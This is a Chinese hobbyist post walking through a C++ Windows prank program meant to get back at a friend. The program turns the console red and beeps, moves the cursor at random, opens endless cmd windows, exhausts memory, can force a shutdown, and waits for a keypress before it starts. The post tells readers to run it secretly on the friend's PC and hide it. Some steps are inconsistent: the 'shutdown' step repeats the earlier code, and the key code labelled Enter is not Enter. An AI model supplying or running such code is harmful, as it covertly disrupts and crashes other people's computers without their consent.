今天faebcd的电脑被好基友整蓝屏钙了,为了报复好基友于是我写了恶搞代码:
为了用system,windows头文件一定少不了:
#include<windows.h>
为了能吓到他,必须整一个和windows xp horror一样的配色:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("color 47");
return 0;
}
加一个声音:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("color 47");
Beep(600,4000);
return 0;
}
加上 关机:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("color 47");
Beep(600,4000);
return 0;
}
这点东西显然骗不到他
加一个鼠标乱窜:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("color 47");
system("shutdown -s -t 80") ;
while(1){
SetCursorPos(rand()%1000,rand()%1000);
Beep(rand()%800,400);
}
return 0;
}
但是他还可以alt+f4
为了防止他alt+f4,我们先用大量窗口掩盖
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("color 47");
//system("shutdown -s -t 80") ;
while(1){
SetCursorPos(rand()%1000,rand()%1000);
Beep(600,200);
system("start cmd");
}
return 0;
}
可为了报复他,关机俨然不够
所以我们等他内存满了自动死机也可以
为了让他内存快速流失,加一个内存摧毁器(在旧版本c++中可以直接死机)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int sj(){
int a[10000000];
}
int main(){
system("color 47");
//system("shutdown -s -t 80") ;
while(1){
SetCursorPos(rand()%1000,rand()%1000);
Beep(600,200);
system("start cmd");
sj();
}
return 0;
}
最后加一个复杂的键盘识别(识别到enter就执行)
#include<bits/stdc++.h>
#include<windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
int sj(){
int a[10];
while(1){
}
}
int jp (char s) {
if (KEY_DOWN(s)) {
return 1;
}
return 0;
}
int main(){
while(!jp(108)){
}
system("color 47");
//system("shutdown -s -t 80") ;
while(1){
SetCursorPos(rand()%1000,rand()%1000);
Beep(600,200);
//system("start cmd");
sj();
}
return 0;
}
之后趁好基友不在时偷偷运行,藏起来,等他自己按enter就会执行了